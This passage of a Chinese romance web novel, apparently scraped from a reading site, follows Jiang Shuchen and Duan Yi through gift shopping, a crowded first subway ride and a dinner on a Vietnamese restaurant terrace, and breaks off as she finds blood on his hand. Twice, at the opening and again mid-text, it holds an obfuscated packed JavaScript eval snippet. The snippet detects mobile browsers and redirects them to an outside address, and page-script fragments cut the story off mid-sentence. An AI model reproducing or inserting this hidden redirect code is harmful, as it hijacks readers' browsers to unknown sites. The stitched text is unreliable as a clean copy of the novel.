;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829880|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师,我刚才忘记考虑你的感受导致你又去买了一遍。是我太不周到了,请你不要生气,下次我会多多换位思考……” 正说着,一双手拨开她垂下去的头发,轻轻托住了她的下巴,“你在想什么啊,小姜同学?” 姜抒晨直起了腰,因为不敢和他对视就只能平视前方。 那是段逸的胸口。 卫衣下轻微的起伏表明他有在好好锻炼,应该有着令人羡慕的胸肌。 姜抒晨咽了咽口水,在心里骂自己,为什么越是正经的时刻,脑子越是会胡思乱想? 她索性垂下头,闭上了眼睛,问:“那你为什么要再去商店?” “你自己看看不就知道了。” 姜抒晨在心里倒数三二一,然后睁开了眼睛。 面前,段逸一手拿着一顶黑色丝绒材质的魔女帽,一手拎着一个IP商店的纸袋。 还没等姜抒晨发话,段逸反手就把魔女帽卡在了她的头上。 她今天的发型是长发编发,头顶没有不规则的装饰,这顶帽子戴上去刚刚好,尺寸合适得像定制。 段逸端详了她一阵,满意地说:“在店里看到就觉得很适合你今天的装扮。现在一看,果然很搭。” 姜抒晨摸了摸头顶上的帽子,目光看向别处,装作满不在意地指了指段逸手里的纸袋,“这又是什么?” 段逸将纸袋打开。 姜抒晨低头一看,里面有发卡,有小挎包,还有水杯,等等等等,杂七杂八。她还疑惑了一秒他怎么买这么多,可下一秒她就反应过来,这些全是她试戴过或者拿下来夸过的商品! “虽然不知道你为什么只买了一个发箍,”段逸解释,“但是根据我的观察这些你都非常喜欢,所以我就买下来了。” “这里东西不便宜的。”姜抒晨按着胸口,“全部加起来得几千块吧?” 几千块不是大钱,但买这些鸡零狗碎的美丽废物,就很不值了。换做姜抒晨,她肯定是不会允许自己这样买的。现在到了好好存钱的年纪,不可能不考虑性价比。 “千金难买我高兴。”段逸把纸袋递给了姜抒晨,“谈钱就俗了。” 姜抒晨接下,见段逸手里还有一个小纸袋,她便问:“这又是什么?” “这是我给你同事们买的。钥匙扣还有挂件之类的小周边。你一会儿给他们分一下。” 姜抒晨打开纸袋瞅了一眼。 “因为今天的门票是你同事请的,所以要表达谢意。”段逸补充。 姜抒晨暗自感叹,他做事也太周到了。 一来二去,差不多到了众人集合告别的时间。 姜抒晨和段逸按时到达了出口处。 苏晓婷一行人喝着黄油啤酒闲聊,看见姜抒晨走过来,纷纷笑问:“和对象玩得怎么样?” 姜抒晨看了一眼段逸,对苏晓婷说:“感谢苏姐组织这次团建。我和段逸都很尽兴。”她转身让段逸帮忙撑一下袋子,然后从里面拿出了他买的小周边,给同事们分发下去,“这是我们的一点心意,希望大家可以收下。” 几个同事接过,惊呼:“这是我超喜欢的那个!” 段逸微笑着看姜抒晨把周边发完,适时地说:“亲爱的,时间不早,我们就不叨扰前辈们了。” 姜抒晨走到了他身边,对苏晓婷和吴悦妮:“那,组长,苏姐,路上注意安全。我们节后见。” 吴悦妮拉着苏晓婷,对姜抒晨和段逸挥手:“好的小姜,你们俩好好享受二人世界吧。” 送走了同事,姜抒晨看向段逸,问:“你要回去吗?” 段逸:“听你的意思,好像还有安排?” 姜抒晨颔首,“对。” “什么安排?” “我还欠你一顿饭。”姜抒晨说,“一起吃晚饭吧,我们。” 14. 是你躲不过14 段逸这次有空出门是给姜抒晨面子,下次就不知道是什么时候了。人情就是越拖越难还,姜抒晨是个深信早死早超生的人,所以哪怕今天已经玩了一天,还是提出要一起吃个饭。 这样一来既能还饭钱,也能顺便答谢段逸帮她这个忙。 之后便可以两清,继续一个人逍遥自在。 不过,这问题问完,姜抒晨心里没底段逸会不会答应。 她从宽大的帽檐底下悄悄地瞄了他一眼。 “好啊。”段逸欣然回答,低头问她,“去哪家餐厅你有想法吗?” 姜抒晨做了个扶帽子的假动作避开视线接触,说:“段老师上次不是说有家很喜欢的餐厅么?去那家怎么样?” 段逸正要带着她向外走,脚下一停,随即他用一个笑掩饰了过去,“是,你不说我都忘了。” 两个人来到了园区外,路上水泄不通。 段逸提前约了家里的司机老李,但是到了事先约好的上车点,那里全是陌生的车辆。 他将要拨通电话询问他到哪儿了,老李的电话先打了进来。 “抱歉,小逸。考虑到堵车,我提前两小时就出发了,但是前面好像出了很严重的连环追尾,我一时半会还真赶不过去。” 段逸眉头紧锁,放下了手机,向远处的路段眺望片刻。 远方,视野的尽头有好几辆警车的车灯闪烁不停,这一路没有一辆车有挪动的余地。 他看了眼姜抒晨脚上的高跟鞋,果断否决了多走一段路上车的想法。 虽然姜抒晨听不见司机和他说了什么,但根据他的动作,可以判断出大概的状况。 她扯扯段逸的袖子,问:“是堵车所以不能按时来接你么?” 段逸点头,“前面的事故很严重,完全堵死了。” 姜抒晨指向另一个方向:“我们坐地铁吧,旁边就是地铁入口。” 她拉着段逸向地铁口走去,脚步走得稳稳当当。 段逸看着她那双夸张的高跟鞋,很想问问她穿这玩意儿走了一天真的不累吗? “姜……” “段老师,你要去的那家餐厅在哪儿?”姜抒晨问道,“这是换乘站,有好几条线路,我们要坐哪一个?” 段逸松开她,拿出手机翻出他之前常去的一家越南菜餐厅给她看:“去这家怎么样?主厨在法国留学期间认识了一个越南裔的画家,最后他们结婚,并且在上京开了餐厅。” 两人在走动,姜抒晨来不及细看,但能从照片上看出颇具格调的装修。 是她喜欢的类型。 “所以我们应该坐S8转四号线。”姜抒晨说着就要过闸机,身边的段逸却停在了原地。 “怎么了?”她折回来,问。 段逸闪到了一边,避开人群,说:“稍等,我激活一下交通卡。” 姜抒晨:“???” 上京市的市政交通卡只要激活就永久有效,他这会儿突然要激活,只能是—— 他从来没坐过市政交通? 姜抒晨难以置信地望向他。 段逸瞧出了她的惊愕,丝毫不遮掩,大大方方地承认:“这是我第一次坐上京的地铁。从小到大我出门都是老李,也就是本来应该来接我们的那个司机负责接送的。” 他说得平平淡淡,可姜抒晨却没法简简单单地接受这个事实。 她居然害得一个金贵的小少爷和她一起坐庶民的交通工具,这像话吗? 交通卡激活之后,段逸拉着她走向闸机。 姜抒晨拽住他,说:“我打车好了,这个点地铁里人很多的。” 段逸笑着在她的帽檐上敲了一下,“你是不是忘了外面还在堵车?” “你对地铁人多是不是完全没有概念?”姜抒晨又气又好笑。 段逸将他拉到自己身边,说:“现在还没有概念,但是一会儿不就有了吗?” “啊?”姜抒晨正要想个借口把他拖出去,段逸已经扫码过了闸机,站到里面向她招了招手。 姜抒晨只好提起裙摆,跟了过去。 段逸仰头对着指示牌研究了一番,指着前方,问:“我们应该先直走,再左转下楼?” 姜抒晨看着他认路的样子,不由得笑了出来。 段逸一脸懵地问她:“在笑什么?” 姜抒晨立刻不笑了,说:“我们小少爷第一次坐地铁,还是蛮适应的嘛。” 段逸忽然拉过她的胳膊,“当心。” 姜抒晨回头,身后正经过一个蹦蹦跳跳吵闹的小孩子,差一点就把手里快要融化的冰淇淋沾到她的裙子上。 “谢谢段老师。”姜抒晨和他拉开了一点距离。 两人一同下了楼梯,经过站台,进了地铁。 这一站是S8号线的终点站,又汇聚了大量的游客,车厢拥挤程度可想而知。段逸先进去,然后转过身来把姜抒晨拉到了自己身边。 因为周围的人太多,姜抒晨调整不了站姿,只能和段逸面对面站着。 由于她被挤在中央,个子也不算高,所以够不着扶手和吊环。四处寻找可以抓的东西的时候,地铁就开了。 被惯性往侧方甩过去,眼看姜抒晨就要失去平衡,段逸眼疾手快地伸出手揽住她,将差点被甩到别处的姜抒晨给捞了回来。 他抓着她的手,搭到了自己的大臂上,“抓好。” 姜抒晨想松手,“我没关系的。” 段逸把她的手按住,“你要是摔出个好歹,我可没法向姜教授和师母交代。” 父母永远是个大杀器,姜抒晨听了,就乖乖地抓住了他。 他的胳膊肌肉很结实,摸起来让人感到一阵安心。 沉默着站了一会儿,姜抒晨还是不大自在。 因为以她的身高,她又只能对着段逸的胸口发呆了。 为了缓解尴尬,她找了个话题,“段老师明天要上班吗?” “明天休息。”段逸说,“我一共休四天。” “那还挺好的。”姜抒晨客套地回答,“我以为没有休假呢。” “某种程度上来说确实是没有休假。”段逸道,“但是我调休了。” “为什么?” “我在想长假期间你需要我帮忙也说不定。”段逸说道,“你看,我这不赌对了?” 姜抒晨低下头,脑子里在循环播放:我真该死啊,我真该死啊。 段逸仿佛能听见他脑子里的声音,“是我自己做的决定,你不用感到负担。” 地铁停在了下一站,要下车的人疯狂朝车门处挤。姜抒晨不知是被谁推了一把,整个人就扑向了段逸。 脸直接埋进了他的胸口,鼻尖被他衣服上留香珠的柑橘类香味萦绕。 这已经不是我真该死啊的问题了,而是,我直接去死吧! 但是,脸上这触感……有点想蹭蹭是怎么回事? 姜抒晨大骂自己涩批,立即站直了,把脸从他身上挪开,可视线却还是不听话,时不时地瞄向他的胸。 后面他们闲聊了什么姜抒晨都记不得了,反正下了地铁的时候,她的脑袋晕乎乎的,被站外的冷风一吹,才清醒了些许。 好在段逸比她高,不刻意低头来观察她的脸的话,看不清她的表情。 快到餐厅门口,姜抒晨问:“我们是不是忘记预约了?今天能排上吗?” 段逸自信地说:“我们不用预约。” 姜抒晨的疑惑在达到餐厅时得到了解答。 段逸刚刚到门口,里面就迎过来一个高大帅气的男人,他热情地和段逸碰了碰拳,“段哥,我出了新菜单你可得好好帮我品鉴品鉴。” 寒暄完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829881|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看向姜抒晨:“这位就是姜小姐吧?” 姜抒晨扯出寒暄专用假笑,和他握了握手,“您好。” “我是密斯西贡的主厨Arvin,和段哥是发小,希望姜小姐能在这里轻松自如地享用晚餐。” Arvin身后,一个身穿越南奥黛的女生小跑着出来,用不甚标准的中文对段逸和姜抒晨说:“我特地留了最好的位置给你们。” 姜抒晨跟着他们来到了露台,面积小巧,满打满算只能摆得下三桌。大约是留给他们的缘故,这里没有食客用餐。 露台位于购物中心的二十层,远离楼下车水马龙的喧嚣,而且视野开阔,能眺望远方的白塔和造型别致的CBD大厦。 灯火辉煌下,姜抒晨心里的甜味棉花糖一样膨胀开,她由衷地赞扬道:“是我想写进游戏剧本的程度。” Arvin端上来一盘饺子,介绍道:“黎前些天胃口不好,我就用她喜欢的食材做了饺子。用了蔗虾和生菜叶做馅,搭配上辣椒梅子酱,她吃了之后念念不忘,一直让我加上菜单,但是我认为还需要进一步调查。” “你是在怀疑我的品位?”黎玉容装生气,哼了一声。 “哪能啊,”段逸说,“他只是担心有些人尝不出这饺子的美味,不想暴殄天物。” 小夫妻在斗嘴的过程中把菜上齐了,打打闹闹地进了室内。 姜抒晨略带羡慕地说:“会为了老婆钻研新菜品,Arvin人好好啊。” 段逸把饺子换到她那边,“我也可以给你做好吃的,如果你需要。” 姜抒晨捂嘴一笑,“段老师别埋汰我了,他们是自由恋爱结婚的夫妻。你知道吗,真夫妻才是最好嗑的。” 段逸唇角的弧度有了一瞬间的凝固。 他低头默默地吃起了饺子。 蔗虾是越南菜里的经典,虾肉泥裹在甘蔗枝上,过一遍面包糠再油炸,外皮酥脆,内层的肉却牢牢锁住了汁水,Q弹劲道,回味有甘蔗的清甜,中和了炸物的厚重。 主厨创意地将蔗虾和生菜叶组合到一起,饺子皮也是无限接近越南米纸的改良版,薄得近乎透明,丝毫不会抢了内馅的风头。 “绝了!”和段逸待了一整天,混得有点熟,姜抒晨对措辞也就不大在意了,“我能再炫一盘。” 暖黄色的灯光在她脸上摇曳生姿,娃娃般的笑容里是简单的满足和快乐。段逸轻咳一声,转头向露台外看去。 后面姜抒晨又要了一盘饺子,然后和段逸一起消灭了桌上的餐点。 吃完后,姜抒晨招手让服务生来结账,但服务生表示这桌的钱已经付完了。 姜抒晨对着段逸兴师问罪:“不是说我请吗?” 段逸一摊手,无辜地回看她:“不是我结的账。” 服务生解释:“主厨为了感谢二位试吃,所以免单。” 姜抒晨坚持:“不行,不能白嫖,还是把账单给我吧。” “您之后常来光顾就好了。” “Arvin就是这种人。”段逸拎起放在桌边的纸袋,“别和他客气。” 出了门,姜抒晨本想再逛一会儿,可看到手机上的时间,她开始急了。 “我答应我妈今天晚上早点回家,这都九点了我得赶快走!” 卡点赶地铁是姜抒晨的家常便饭,已经刻入DNA。在意识到她需要立刻回家的当时,她扯起段逸的手,拉着他拔腿冲向地铁站。 然后,跑出几十米之后,她觉察到了异样。 湿热粘稠的液体顺着指缝缓慢地浸润到掌心,让牵在一起的两只手滑得快要分开。 姜抒晨急忙回过身去,看见段逸微皱的眉头和泛白的嘴唇,立刻意识到哪里不对。她低下头张开五指,满手鲜血。 她懵了一秒,迅速拉过段逸的胳膊,卷起了他的衣袖。